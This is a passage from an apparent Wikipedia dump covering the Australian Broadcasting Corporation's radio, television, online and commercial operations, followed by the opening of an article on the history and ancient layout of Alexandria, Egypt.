first fully digital audio system for the first time, broadcasting on Triple J. In the first decade of the new century, the ABC has continued its process of computerising and [[digital|digitising]] production, post-production and transmission. In 2005, [[ABC2]], a digital television channel, was launched.

==Funding and relationship With government==
The ABC receives the vast majority of its funding from the Australian national government, with the exception of all revenue collected through commmercial sales in ABC bookstores. This is in contrast with the Canadian Broadcasting Corporation [[Canadian Broadcasting Corporation|CBC]] and [[public broadcasting in New Zealand]], which receive substantial revenue from advertising, and the British Broadcasting Corporation [[British Broadcasting Corporation|(BBC)]], which receives the bulk of its revenue from [[television licence fee|licence fee]]s and worldwide commercial operations. It is closer in scope to the [[United States|American]] Public Broadcasting Service ([[Public Broadcasting Service|PBS]]), but backed entirely by government money rather than public donations. Because of the governments financial backing of the broadcasting service, the broadcaster has an interesting relationship with the government. 

Relations between public broadcasters and the governments that provide all or much of their funding, and establish and maintain their legal status, have typically been through periods of turbulence since the rise of current affairs and documentaries in broadcasting. Government control of the ABC besides funding is rather lax; however, the government is responsible for the appointment of people to the board of the ABC. &lt;!--Discuss board appointments--&gt; 

The ABC's treatment of current affairs—including [[This Day Tonight]] and its successors [[The 7.30 Report]] and [[Lateline]] on television, and ''AM'' on radio, have been criticised by the political right for alleged left-wing bias in its reporting. In the late 1960s and early 1970s, the conservative [[Liberal Party of Australia|Liberal Party]] government made several attempts to curtail the ABC's political coverage by threatening to reduce funding to the news and current affairs division.&lt;!--Needs evidence ....? Either we need to cite particular instances/times, or refer to another source.--&gt; In the late 1980s, the Hawke Labor government proposed commercialising the ABC, a move that was successfully resisted by the organisation itself and a significant groundswell of devotees among the public. The Hawke government also proposed to merge the ABC and its sister organisation, the Special Broadcasting Service; again, this move was unsuccessful, this time because the enabling legislation failed to pass the Senate. The Howard government reduced the ABC's operating grants by 10% soon after coming to office in 1996. &lt;!--Since then, the ABC has come under pressure for alleged left-wing bias, in particular in relation to its coverage of the war in Iraq ... Alston ... need to make this as NPOV as possible ...--&gt;

==Radio==

The ABC began as a network of 12 radio stations, eight in the captial cities, and four in regional centres.  From its humble beginnings, ABC Radio now includes five national networks, [[Radio National]], [[ABC NewsRadio]], [[Triple J]], [[dig]] and [[ABC Classic FM]]; around fifty [[ABC Local Radio]] stations and a foreign language shortwave radio service, [[Radio Australia]].

The 12 original stations were:
{||
|width=250 valign=top|
Capital cities:
*[[2FC]] and [[2BL]], [[Sydney]]
*[[3AR]] and [[3LO]], [[Melbourne]]
*[[4QG]], [[Brisbane]]
*[[5CL]], [[Adelaide]]
*[[6WF]], [[Perth, Western Australia|Perth]]
*[[7ZL]], [[Hobart]]
|width=250 valign=top|
Relay stations:
*[[2NC]], [[Newcastle, New South Wales|Newcastle]]
*[[2CO]], [[Corowa, New South Wales|Corowa]]
*[[4RK]], [[Rockhampton, Queensland|Rockhampton]]
*[[5CK]], [[Port Pirie, South Australia|Port Pirie]]
|}

===Radio News and Current Affairs===
The ABC's news and current affairs coverage is the most independent in Australia as it is free of the commercial constraints of the commercial news networks.  It is also widely regarded in the Australian media industry as the best news coverage in the country.
News and current affairs programs broadcast on ABC radio stations across the country are:

* [http://www.abc.net.au/news/ ABC Radio News] (Hourly news updates on Radio National, Local Radio, Classic FM and Triple J)
* [http://www.abc.net.au/am/ AM] (Half hour-long current affairs programme broadcast on Local Radio and Radio National at 8am)
* [http://www.abc.net.au/worldtoday/ The World Today] (50 minute-long current affairs programme broadcast on Local Radio and Radio National at 12:10pm)
* [http://www.abc.net.au/pm/ PM] (50 minute-long current affairs programme broadcast on Local Radio and Radio National at 6:10pm)
* [http://www.abc.net.au/rn/ Radio National] also produces other news, business &amp; current affairs programmes, such as Background Briefing, the Health, Law, Religion and Media Reports and The National Interest.

===ABC Local Radio===
[[ABC Local Radio]] is the ABC's flagship radio station in each broadcast area.  There are 46 different ABC Local Radio stations across Australia and they all follow a standard format with local hosts presenting light entertainment, talkback, music, sport and interviews.  ABC Local Radio also carries nationally broadcast programming, including AM, PM, [[The World Today]], sporting events and [[Nightlife]].  ABC's local radio stations cater for a diverse audience, but are most popular with older audiences.

===ABC Radio National===
[[ABC Radio National]] can be heard across Australia and broadcasts over 60 special interest programs per week.  These programs are about a diverse range of topics including music, comedy, book readings, radio dramas, poetry, science, health, the arts, religion, social history and current affairs

===ABC NewsRadio===
[[ABC NewsRadio]] was previously called the [[Parliamentary and News Network]] (PNN).  The station was set up to broadcast Australian Federal Parliament and is similar to the [[BBC Parliament]] television channel in the [[UK]].  However, when Parliament is not sitting, the station broadcasts news on a 24/7 format with updates on the quarter hour.  Most of its news comes from [[ABC News]] reporters, however it also uses the resources of [[BBC Radio]], [[NPR]] and [[CNN Radio]].

===Triple J===
[[Triple J]] or JJJ is a national youth radio network, broadcasting new alternative music, particularly Australian music.  The station's demographic is 15-25 years.

===dig===
Dig radio broadcasts over the internet, pay TV and Digital Radio.  It is not available via a standard radio on AM or FM frequency. Dig broadcasts a diverse range of music and also plays music submitted by listeners.

===ABC Classic FM===
[[ABC Classic FM]] was the ABC's first FM service.  It was originally known simply as &quot;ABC FM&quot;, then for a short time &quot;ABC Fine Music&quot;.  Its format borrowed heavily from community stations that eventually founded the [[Fine Music Network]] and also from [[BBC Radio 3]].

The ABC, through ABC Classic FM has helped support the ABC owned state symphony orchestras, chamber music, instrumental recitals, opera, choral and solo singers.

===Radio Australia===
The ABC also operates [[Radio Australia]], an international shortwave service with transmissions aimed at [[East Asia]] and the [[Pacific Islands]], although its signals are also audible in many other parts of the world. It features programs in various languages spoken in these regions, including [[Chinese language|Mandarin]], [[Bahasa Indonesia|Indonesian]], [[Vietnamese language|Vietnamese]], [[Khmer language|Khmer]], and [[Tok Pisin]].  

Radio Australia concentrates on news and current affairs, but it also features historical documentaries, information about Australian lifestyle and culture, and light entertainment. Although it does produce some of its own programming, most of the shows transmitted over Radio Australia are relays of programmes produced by the domestic Radio National network.

Radio Australia bulletins are also carried on the [[World Radio Network]], which is available on satellite in [[Europe]] and [[North America]].

It is of little interest to domestic Australian audiences as most of its material has already been broadcast or is broadcast simultaneously on the easier to receive domestic ABC networks.

==Television==
   [[Image:ABC_Header.jpg|760x82]]
{{Infobox Network |
network_name = ABC |
country      = [[Australia]] |
network_type = [[Terrestrial television|Broadcast]] [[television network]] |
available    = Nationally|
owner        = [[Government of Australia]]|
launch_date  = 1956 as ABC|
founded      = 1956 as ABC|
website      = [http://www.abc.net.au/tv/ www.abc.net.au/tv] |
callsigns    = [[ABN-2]] ([[New South Wales]])&lt;br&gt;[[ABV-2]] ([[Victoria, Australia|Victoria]])&lt;br&gt;[[ABQ-2]] ([[Queensland]])&lt;br&gt;[[ABS-2]] ([[South Australia]])&lt;br&gt;[[ABW-2]] ([[Western Australia]])&lt;br&gt;[[ABC-9]] ([[Australian Capital Territory|Canberra]])&lt;br&gt;[[ABD-6]] ([[Northern Territory]])&lt;br&gt;[[ABT-2]] ([[Tasmania]]) |
market_share = 15.7% Nationally {{ref|Shares}}  &lt;BR&gt; [[List of Australian television ratings for 2005|2005 Ratings Season]]|
slogan       = ''There's More To Television'' |
}}
See [[List of Australian Broadcasting Corporation programs]].

===ABC TV===

The ABC operates a single nationwide TV channel, '''ABC TV'''. Each state and territory has a slightly different version of ABC TV. The differences between these are small, consisting of a nightly news program, a weekly current affairs program, a weekly sports program during winter, state election specials and the odd program. These regional versions are listed below with the name of their main transmitter.

*[[ABC ACT]] - [[ABC-9]] [[Canberra]], [[Australian Capital Territory]]
*[[ABC Northern]] - [[ABD-6]] [[Darwin, Northern Territory|Darwin]], [[Northern Territory]]
*[[ABC NSW]] - [[ABN-2]] [[Sydney]], [[New South Wales]]  
*[[ABC Queensland]] - [[ABQ-2]] [[Brisbane]], [[Queensland]]
*[[ABC Southern]] - [[ABS-2]] [[Adelaide]], [[South Australia]]
*[[ABC Tasmania]] - [[ABT-2]] [[Hobart]], [[Tasmania]] 
*[[ABC Victoria]] - [[ABV-2]] [[Melbourne]], [[Victoria (Australia)|Victoria]] 
*[[ABC Western]] - [[ABW-2]] [[Perth, Western Australia|Perth]], [[Western Australia]]
*[[ABC Asia-Pacific]] - available by satellite and selected cable telvision services across Asia - Produced on contract to the Department of Foreign Affairs and subject of an intense contract renegiotation in 2005; due to change its name in the near future. It can be watched over the internet by clicking [http://wwitv.com/ip_tv/8388.asx here].

===Regional programming===
The ABC produces a number of programs aimed at rural and regional viewers.

===News and Current Affairs===

ABC produces a large range of high quality [[current affairs]] television programs, notably ''[[Lateline (news)|Lateline]]'', ''[[Australian Story]]'', ''[[The 7.30 Report]]'' and ''[[Four Corners (TV series)|Four Corners]]''.  The ABC's number of foreign reporters is unmatched by other Australian networks.  

The ABC news and current affairs programs include:

* [[ABC Midday News &amp; Business | The Midday Report]] - National, business &amp; finance news hosted by [[Ros Childs]] (Weekdays at 12pm).
* [[ABC News (Australia)|ABC News]] [http://www.abc.net.au/news/] - State-specific news hosted by local presenters (Nightly at 7pm).
* [[The 7.30 Report]] [http://www.abc.net.au/7.30/] - Current affairs program hosted by [[Kerry O'Brien]] (Monday - Thursday at 7:30pm).   
* [[Four Corners (TV series)| Four Corners]] [http://www.abc.net.au/4corners/] - 45-minute long investigative journalism program (Mondays at 8:30pm).
* [[Australian Story]] [http://www.abc.net.au/austory/] - Unique biographical-style program focussing on well-known and ordinary Australians (Mondays at 8:00pm).
* [[Media Watch (Australian TV series)| Media Watch]] [http://www.abc.net.au/mediawatch/] A critique of the Australian media (Mondays at 9:15pm). 
* [[Foreign Correspondent]] [http://www.abc.net.au/foreign/] - Reports from the ABC's foreign correspondents around the world (Tuesdays at 9:20pm).
* [[Lateline (ABC-TV) | Lateline]] [http://www.abc.net.au/lateline/] - Late night news and current affairs (Weeknights from approximately 10:30pm).
* [[Stateline]] [http://www.abc.net.au/stateline/]  Similar to [[The 7:30 Report]], but state-based with local presenters (Fridays at 7:30pm).
* [[Insiders]] [http://www.abc.net.au/insiders/] Interviews, discussion and analysis of Australian politics hosted by [[Barrie Cassidy]] (Sundays at 9am).
* [[Landline]] [http://www.abc.net.au/landline/] A national rural current affairs program hosted by [[Sally Sara]] (Sundays at 12pm).

===Sport===
ABC-TV broadcasts a diverse range of less popular sports which are not shown on commercial networks or pay-TV.  ABC Sport primarily broadcasts domestic and international netball, international lawn bowls, women's basketball and state australian rules football and rugby league competitions.  The national broadcaster also covers the Paralympic Games and Hopman Cup tennis tournament.

===Drama===
The ABC has recently been criticised for its lack of Australian drama and its heavy reliance on British, particularly BBC drama programs.

===Comedy===
Despite its low budget, ABC-TV has screened some quality comedies and launched the careers of some of Australia's most successful comedians.  Recent notables have included the ratings hits ''[[Kath &amp;amp; Kim]]'' , ''[[The Glass House (TV series)|The Glass House]]'' , ''[[Enough Rope]]'' and ''[[CNNNN]]''.  Over the years the ABC has also produced highly successful programs such as ''[[Frontline (Australian television series)|Frontline]]'', ''[[The Micallef Program]]'', ''[[The Games]]'' , ''[[The Late Show]]'', ''[[Mother and Son]]'' , ''[[Backberner]]'' and ''[[Good News Week]]''. 

===Children and Education===
The ABC is unmatched in Australia for its commitment to children's programs.  Its morning programming is committed entirely to programs aimed at entertaining and educationg Children.  On the entertainment side, programs such as ''[[Sesame Street]]'' and the ABC's own ''[[Play School]]'' &amp; ''[[Bananas in Pyjamas]]'' are highly popular.  Educational programs like [[BTN]] or [[Behind the News]] have educated Australian children for generations.

===ABC2===
On March 7th, 2005, [[ABC2]] was launched [http://www.abc.net.au/news/newsitems/200408/s1186949.htm]. It is largely a combination of the [[ABC Kids (Australia)]] channel and a [[CBC Newsworld]]-like proposal called [[ABC Daily]]. It screens predominantly repeated ABC news and current affairs programs, compilations of ABC news bulletin stories with some additional reporting, children's programming, music documentaries and state football.

===ABC Asia Pacific=== 
The [[ABC Asia Pacific]] TV service was launched in  [[2002]]. It is partly funded by Australia's [[Department of Foreign Affairs and Trade]] (DFAT), and partly by advertising. The channel is available [[free-to-air]] to [[East Asia]] and the [[Pacific Islands]] via satellite and local cable systems is also now available in [[South Asia]] and the [[Middle East]]. It can be also watched on the [http://wwitv.com/ip_tv/8388.asx Internet].It is currently available in 8 million homes in more than 35 countries across the region and in more than 190,000 hotel rooms.

ABC Asia Pacific screens a variety of programs, from the ABC itself, including tailor-made news bulletins for the region, from the other Australian terrestrial TV networks, plus Sky News and independents. It also carries the [[soap opera]] ''[[Home and Away]]'', [[Australian Rules Football|Australian Rules]] and [[Rugby League]] matches, and [[UK|British]] drama series.

One of its foreign affairs programs, ''[[Hemispheres (television program)|Hemispheres]]'', is co-produced with the [[CBC]] of [[Canada]], and presented from both [[Sydney]] and [[Vancouver]]. This is now shown in Australia on ABC2.

==Online==

{{further|[[ABC Online]], [[ABC News Online]]}}

ABC New Media publishes thousands of websites&lt;!--Really? Thousands?--&gt;. Among the most notable are:

===ABC News Online===

ABC News Online has the most comprehensive local news coverage of Australia, publishing stories from the ABC's 36 regional bureau. It also provides extensive national news and international news from an Australian perspective.

===ABC Kids===

One of the best children's sites on the Internet, you can safely sit your kids down in front of The Playground and keep them entertained for hours.&lt;!--'One of the best' is subjective. 'entertained for hours' is subjective. 'safely' is subjective. 'you' is overly informal and unencyclopaedic.--&gt;

===ABC Science Online===

A rambling site, The Lab provides a fantastic gateway into the world of science, including the unique self-service science forum and the best science news from Down Under.&lt;!--'rambling'? 'fantastic'? 'best'? Who writes this stuff?--&gt;

==ABC Enterprises==
ABC Enterprises is the commercial Division of the Australian Broadcasting Corporation. The Division is comprised of ABC Retail, ABC Consumer Publishing and Content Sales, and ABC Resource Hire. It was established in 1974 with all profits from the sale of consumer product and production services returned to the Corporation to reinvest in program-making.

It now operates over 40 retail shops and 80 centres, an international delivery service on the Internet as well as developing and licensing ABC brands and programs and providing production resource hire to the general public and industry alike. 

===ABC Retail===
The ''ABC Shop Online'' (at http://www.abcshop.com.au) is a shopping website operated by ABC Enterprises.  It sells DVDs, CDs, books, spoken word, toys, clothing, music downloads and mobile/cell phone products related to programming on ABC TV &amp; Radio and Australian culture in general. 

The ''ABC Shops'' (at http://www.abcshop.com.au) sell theatrically released products (DVDS, books, CDs, spoken word, toys and clothing) related to programs broadcast on ABC TV and Radio and related to Australian culture.

===ABC Consumer Publishing &amp; Content Sales===
Develop and license products and brands related to ABC programming selling to both the general public and wholesale TV and radio markets worldwide.

===ABC Resource Hire===
Offer a range of productions services including costume hire, soundstage and studio facilities, venue hire and event staging.

==ABC Logo==
The ABC wavelength logo is one of the most recognisable logos in [[Australia]].  In the early years of television, the ABC had been using [[Lissajous]] figures as fillers in-between programs.  In [[July]] [[1963]], the ABC conducted a staff competition to create a new logo for use on television, stationery, publications, microphone badges and ABC vehicles.  In [[1965]], ABC graphics designer, Bill Kennard, who had been experimenting with telerecording of the Cathode Ray Oscillograph displays, submitted a design which was part of the waveform of an oscilloscope. The letters A-B-C were added to the wavelength design and it was adopted as the ABC's official logo. Mr Kennard was presented with twenty five pounds for his design.

==State orchestras==
In Australia there are currently six State Symphony Orchestras.  These Orchestras were originally formed by the ABC as Broadcast Orchestras.  They have since evolved into platform orchestras and now play a vital role in the cultural life of the country.  The Orchestras were corporatised in the [[1990s]] but continue to be wholly owned by the ABC.  The six orchestras are: The [[Sydney Symphony Orchestra]], [[Melbourne Symphony Orchestra]], [[The Queensland Orchestra]], [[West Australian Symphony Orchestra]], [[Adelaide Symphony Orchestra]] and the [[Tasmanian Symphony Orchestra]].

== Postal address ==
The ABC's postal address is &quot;[PO] Box 9994 in your Capital city&quot; followed by the [[List of Australian postcodes|postcode]]. 

It is a persistent [[urban legend]] that '9994' is in memory of the life-time [[cricket|test cricket]] batting average of the Australian cricketer [[Donald Bradman|Sir Donald Bradman]] (he scored 6996 runs in 70 completed innings, an average of 99.94 runs per innings).  Supposedly, one-time Chairman of the ABC, [[Sir Charles Moses]], a personal friend of Bradman's, arranged for this number to be used, however this has been denied by the ABC.

==References==
*''The Alan McGillivray Solution''
==See also==
* [[ABC2]]
* [[ABC Kids (Australia)|ABC Kids]]
* [[ABC Rollercoaster]]
* [[List of Australian television channels]]
* [[List of Australian radio stations]]
* [[Sound Quality]]
* [[ABC Enterprises]]

==External links==
* [http://www.abc.net.au/ Australian Broadcasting Corporation's official website]
* [http://www.abc.net.au/abc2 ABC 2]
* [http://www.abc.net.au/abckids ABC Kids]
* [http://www.abcasiapacific.com ABC Asia Pacific]
* [http://www.abc.net.au/radio ABC Radio]
* [http://www.abc.net.au/ra Radio Australia]
* [http://www.abcasiapacific.com ABC Asia Pacific]
* [http://www.abc.net.au/grandstand/ ABC Grandstand]
* [http://www.abc.net.au/sport/ ABC Sport]
* [http://www.abcshop.com.au ABC Shop Online]
* [http://www.abcenterprises.com.au ABC Enterprises]
* [http://www.idents.tv Idents.tv - Australian TV Idents (Including ABC)]
* [http://abc.net.au/aroundtheworld/content/s1059924.htm PETER CAVE]
* [http://www.friendsoftheabc.org/ Friends of the ABC]
* [http://www.fabc.org.au/ Friends of the ABC (Victoria)]
* [http://wwitv.com/ip_tv/8388.asx Watch ABC Asia Pacific on Windows Media Player]
* [http://www.bandt.com.au/news/a1/0c010aa1.asp ABC goes for 25% growth with magazines]
* [http://www.abc.net.au/radio/celebrate100/history.htm 100 Years of Radio]

[[Category:Australian Broadcasting Corporation|*]]
[[Category:Australian radio networks]]
[[Category:Australian television networks]]  
[[Category:Publicly-funded broadcasters]]
[[Category:1932 establishments]]


[[fr:Australian Broadcasting Corporation]]
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  </page>
  <page>
    <title>Alexandria</title>
    <id>3080</id>
    <revision>
      <id>42146552</id>
      <timestamp>2006-03-04T03:09:35Z</timestamp>
      <contributor>
        <username>Gladmax</username>
        <id>196242</id>
      </contributor>
      <minor />
      <comment>/* Late Roman history - The Fall of Rome */</comment>
      <text xml:space="preserve">{{update}}
{{otheruses|Alexandria}}
[[Image:Image-DSC00289.JPG|thumb|260px|Modern Alexandria, from Qaitbay's Citadel]]
[[Image:Altes Ägypten 003.jpg|right|thumb|260px|Antiquity and modernity stand cheek-by-jowl in Egypt's chief Mediterranean seaport.]]

'''Alexandria''' (Greek '''Aleksándreia''', [[Coptic language|Coptic]] '''Rakotə''', [[Arabic language|Arabic]]: الإسكندرية ,tran: '''Al-Iskandariya'''), (population of 3.5 to 5 million), is the second largest city in [[Egypt]], and its most major seaport.  Alexandria extends about 20 miles (32 km) up and down the Mediterranean sea in southwest Egypt. It is home to the [[Bibliotheca Alexandrina]], the New Library of Alexandria, and is an important industrial centre because of the [[natural gas]] and [[oil pipeline]]s from [[Suez]].

In ancient times, the city was known for the [[Lighthouse of Alexandria]] (one of the [[Seven Wonders of the World]]) and the [[Library of Alexandria]] (the largest library in the ancient world). Ongoing [[maritime archaeology]] in the harbor of Alexandria(which began in [[1994]]) is revealing details of Alexandria during the Ptolemaic dynasty.

==History==
The city of Alexandria was named after its founder, [[Alexander the Great]], and as the seat of the [[Ptolemaic dynasty|Ptolemaic]] rulers of Egypt, quickly became one of the greatest cities of the [[Hellenistic civilisation|Hellenistic]] world &amp;mdash; second only to [[Rome]] in size and wealth throughout much of antiquity. However, upon the founding of [[Cairo]] by Egypt's medi&amp;aelig;val Islamic rulers, its status as the country's capital ended, and it fell into a long decline, which by the late [[Ottoman Empire|Ottoman]] period, had seen it reduced to little more than a small fishing village.

===Foundation===
Alexandria was founded by [[Alexander the Great]] in or around [[334 BC]] (the exact date is disputed) as Ἀλεξάνδρεια (''Aleksándreia''; see also [[List of traditional Greek place names]]). Alexander's chief architect for the project was [[Deinocrates of Rhodes]]. Ancient accounts are extremely numerous and varied, and much influenced by subsequent developments. One of the more sober descriptions, given by the historian [[Arrian]], tells how Alexander undertook to lay out the city's general plan, but lacking chalk or other means, resorted to sketching it out with grain. Alexander's seers, and in particular [[Aristander of Telmessus]], interpreted this as an omen that the city would prosper, particularly in grain. Other authors make the omen not the grain itself, but the arrival of flocks of birds that ate it. This was at first feared to be an ill omen, but [[Aristander]] the Seer averred it meant that the city would attract and feed many people. In any case, the story explains Alexandria's role as the shipping-point for Egyptian grain, which fed the [[Hellenistic Greece|Hellenistic]] and [[Roman Empire|Roman]] world.

It is believed that Alexandria was the largest city in the world from 320 BC to about 300 BC, when [[Pataliputra]] became the largest.[http://geography.about.com/library/weekly/aa011201a.htm]

A number of the more fantastic foundation myths are found in the [[Alexander Romance]] and were picked up by medi&amp;aelig;val Arab historians. The [[14th century]] Arab historian [[Ibn Khaldun]] ridiculed one where sea-monsters prevent the foundation, but were thwarted when Alexander descends in a glass box, armed with exact knowledge of their appearance, and goes on to erect metal effigies on the beach which succeed in frightening the monsters away.

Alexandria was intended to supersede [[Naucratis]] as a Greek centre in Egypt, and to be the link between [[Greece]] and the rich [[Nile Valley]]. If such a city was to be on the Egyptian coast, there was only one possible site, behind the screen of the [[Pharos]] island and removed from the silt thrown out by Nile mouths. An Egyptian townlet, Rhacotis, already stood on the shore and was a resort of fishermen and pirates. Behind it there were five native villages scattered along the strip between Lake Mareotis and the sea, according to a history of Alexander attributed to the author known as [[Alexander Romance|pseudo-Callisthenes]].

A few months after the foundation, Alexander left Egypt for the East and never returned to his city. After Alexander departed, his viceroy, [[Cleomenes]], continued the creation of Alexandria.

===Ptolemaic history, to Ptolemy VIII - Centre of Learning===
In a struggle with the other successors to Alexander, his general, Ptolemy (later [[Ptolemy I of Egypt]]) succeeded in bringing Alexander's body to Alexandria, where it became a famous tourist destination for ancient travellers (including [[Julius Caesar]]).

Though [[Cleomenes]] was mainly in charge of seeing to Alexandria's continuous development, the ''[[#Layout of the ancient city|Heptastadion]]''and the main-land quarters seem to have been mainly Ptolemaic work. Inheriting the trade of ruined [[Tyre]] and becoming the centre of the new commerce between [[Europe]] and the [[Arabia]]n and [[India]]n East, the city grew, in less than a generation, to be larger than [[Carthage]] and in a century became the largest city in the world; for some centuries more, it was second only to [[Rome]].  Nominally a free Greek city, Alexandria retained its [[senate]] to Roman times and the judicial functions of that body were restored by [[Septimius Severus]], after temporary abolition by [[Augustus]].

It was not only a centre of [[Hellenism]], but was also the greatest Jewish city in the world. There the [[Septuagint]] was produced. The early Ptolemies kept it in order and fostered the development of its museum into the leading Greek [[university]] ([[Library of Alexandria]]) but they were careful to maintain the distinction of its population into three nations, &quot;Greek&quot;, Jew and Egyptian. From this division arose much of the later turbulence which began to manifest itself under [[Ptolemy IV of Egypt|Ptolemy Philopater]], who reigned [[221 BC|221]]&amp;ndash;[[204 BC]]. The reign of [[Ptolemy VIII Physcon]] from [[144 BC|144]]&amp;ndash;[[116 BC]] was marked by purges of Alexandria (including the expulsion of [[Apollodorus]]) and civil warfare surrounding the intrigues among the king's wives and sons.

One of the earliest well-known inhabitants of Alexandria during the Ptolemaic reign was the geometer and number-theorist [[Euclid]].

===Roman interest and annexation - 80 to 30 BC===
The city passed formally under Roman jurisdiction in [[80 BC]], according to the will of [[Ptolemy X of Egypt|Ptolemy Alexander]]: but it had been previously under Roman influence for more than a hundred years. [[Julius Caesar]] dallied with [[Cleopatra VII of Egypt|Cleopatra]] in Alexandria in [[47 BC]], saw Alexander's body (quipping 'I came to see a king, not a collection of corpses' when he was offered a view of the other royal burials) and was mobbed by the [[rabble]]; his example was followed by [[Marc Antony]], for whose favor the city paid dear to [[Octavian]], who placed over it a prefect from the imperial household.

===Jesus in Alexandria?===
If the story of the [[Flight into Egypt]] is historical, then [[Jesus]], [[Mary]] and [[Joseph]] may have spent time in Alexandria, which had a sizeable Jewish population at the time.

===Alexandria in the Roman province of Egypt===
From the time of annexation onwards, Alexandria seems to have regained its old prosperity, commanding, as it did, an important granary of Rome; this fact, doubtless, was one of the chief reasons which induced Augustus to place it directly under [[Roman Empire|imperial power]]. In AD [[215]] the [[Roman Emperors|emperor]] [[Caracalla]] visited the city and for some insulting [[satire]]s that the inhabitants had directed at him, he abruptly commanded his troops to put to death all youths capable of bearing arms. This brutal order seems to have been carried out even beyond the letter, for a general massacre ensued.

===Late Roman history - The Fall of Rome===
Even as its main historical importance had formerly sprung from pagan learning, now Alexandria acquired fresh importance as a centre of [[Christianity|Christian]] [[theology]] and church government. There [[Arianism]] was formulated and where also [[Athanasius of Alexandria|Athanasius]], the great opponent of both Arianism and pagan reaction, triumphed over both, establishing the [[Patriarch of Alexandria]] as a major influence in Christianity for the next two centuries.

As native influences began to reassert themselves in the Nile valley, Alexandria gradually became an alien city, more and more detached from Egypt and losing much of its commerce as the peace of the empire, broke up during the [[3rd century]] AD, followed by a fast decline in population and splendour.

In the late [[4th century]], persecution of [[Paganism|pagans]] by Christians had reached new levels of intensity. Temples and statues were destroyed throughout the Roman empire, pagan rituals forbidden under punishment of death, and libraries closed. In [[391]], Emperor [[Theodosius]] ordered the destruction of all pagan temples, and the Patriarch [[Theophilus of Alexandria|Theophilus]], complied with his request. It is possible that the great [[Library of Alexandria]] was [[Library of Alexandria#Destruction of the pagan temples by Theophilus|destroyed]] about this time.

The Brucheum and Jewish quarters were desolate in the [[5th century]], and the central monuments, the Soma and Museum, fell into ruin. On the mainland, life seemed to have centred in the vicinity of the Serapeum and Caesareum, both which became Christian churches. The Pharos and Heptastadium quarters, however, remained populous and intact.

===Post-Roman history===
In [[616]] it was taken by [[Khosrau II of Persia|Khosrau II]], King of [[Iran|Persia]]. Although the [[Byzantine Emperors|Byzantine Emperor]] [[Heraclius]] recovered it a few years later, in [[640]] the Arabs, under the general [[Amr ibn al-As]], captured it for good after a siege that lasted fourteen months. The city received no aid from [[Constantinople]] during that time; Heraclius was dead and the new Emperor [[Constantine III of Byzantine Empire|Constantine III]] was barely twelve years old. Notwithstanding the losses that the city had sustained, Amr was able to write to his master, the [[caliph]] [[Omar]], that he had taken a city containing &quot;4,000 palaces, 4,000 baths, 12,000 dealers in fresh oil, 12,000 gardeners, 40,000 Jews who pay tribute, 400 theatres or places of amusement.&quot;

==Geography==
[[Image:alexandria_egypt.jpg|thumb|310px|Alexandria from space, March 1990]]
===Layout of the ancient city===
The Greek Alexandria was divided into three regions:
#'''The [[Jew]]s' quarter''', forming the northeast portion of the city;
#'''Rhakotis, on the west''', occupied chiefly by Egyptians (from [[Coptic language|Coptic]] ''Rakotə'' &quot;Alexandria&quot;);
#'''Brucheum''', the Royal or Greek quarter, forming the most magnificent portion of the city.
In Roman times Brucheum was enlarged by the addition of an official quarter, making up four regions in all.  The city was laid out as a grid of parallel streets, each of which had an attendant subterranean [[canal]].

Two main streets, lined with [[colonnade]]s and said to have been each about 60 [[metre]]s (200 [[foot (unit of length)|feet]]) wide, intersected in the centre of the city, close to the point where rose the Sema (or Soma) of Alexander (his [[Mausoleum]]). This point is very near the present mosque of Nebi Daniel; and the line of the great East&amp;ndash;West &quot;Canopic&quot; street only slightly diverged from that of the modern Boulevard de Rosette. Traces of its pavement and canal have been found near the Rosetta Gate, but better remains of streets and canals were exposed in [[1899]] by German excavators outside the east fortifications, which lie well within the area of the ancient city.

Alexandria consisted originally of little more than the island of Pharos, which was joined to the mainland by a [[mole (architecture)|mole]] nearly a mile long (1240m) and called the ''Heptastadion'' (&quot;seven stadia&quot; &amp;mdash; a ''[[stadium]]'' was a Greek unit of length measuring approximately 180m). The end of this abutted on the land at the head of the present Grand Square, where rose the &quot;Moon Gate&quot;. All that now lies between that point and the modern Ras et-Tin quarter is built on the silt which gradually widened and obliterated this mole. The Ras et-Tin quarter represents all that is left of the island of Pharos, the site of the actual lighthouse having been weathered away by the sea. On the east of the mole was the Great Harbour, now an open bay; on the west lay the port of Eunostos, with its inner basin Kibotos, now vastly enlarged to form the modern harbour. 

In [[Strabo]]'s time, (latter half of [[1st century BC]]) the principal buildings were as follows, enumerated as they were to be seen from a ship entering the Great Harbour.
#The Royal Palaces, filling the northeast angle of the town and occupying the promontory of Lochias, which shut in the Great Harbour on the east. Lochias (the modern Pharillon) has almost entirely disappeared into the sea, together with the palaces, the &quot;Private Port&quot; and the island of Antirrhodus. There has been a land subsidence here, as throughout the northeast coast of Africa.
#The Great Theatre, on the modern Hospital Hill near the Ramleh station. This was used by Caesar as a fortress, where he stood a siege from the city mob after the [[battle of Pharsalus]]
#The [[Poseideion]], or [[Temple (Greek)|Temple]] of the [[Poseidon|Sea God]], close to the [[Theatre]]
#The Timonium built by [[Mark Antony]]
#The Emporium (Exchange)
#The Apostases (Magazines)
#The Navalia (Docks), lying west of the Timonium, along the sea-front as far as the mole
#Behind the Emporium rose the Great Caesareum, by which stood the two great [[obelisk]]s, each later known as &quot;[[Cleopatra's Needle]],&quot; and now removed to [[New York City]] and [[London]]. This temple became in time the Patriarchal Church, some remains of which have been discovered; but the actual Caesareum, so far as not eroded by the waves, lies under the houses lining the new sea-wall.
#The [[Gymnasium (ancient Greece)|Gymnasium]] and the [[Palaestra]] are both inland, near the Boulevard de Rosette in the eastern half of the town; sites unknown.
#The Temple of [[Saturn (mythology)|Saturn]]; site unknown.
#The Mausolea of Alexander (Soma) and the Ptolemies in one ring-fence, near the point of intersection of the two main streets
#The [[Musaeum]] with its famous [[Library of Alexandria|Library]] and theatre in the same region; site unknown.
#The [[Serapeum]], the most famous of all Alexandrian temples. Strabo tells us that this stood in the west of the city; and recent discoveries go far to place it near &quot;Pompey's Pillar&quot; which, however, was an independent monument erected to commemorate [[Diocletian]]'s siege of the city.

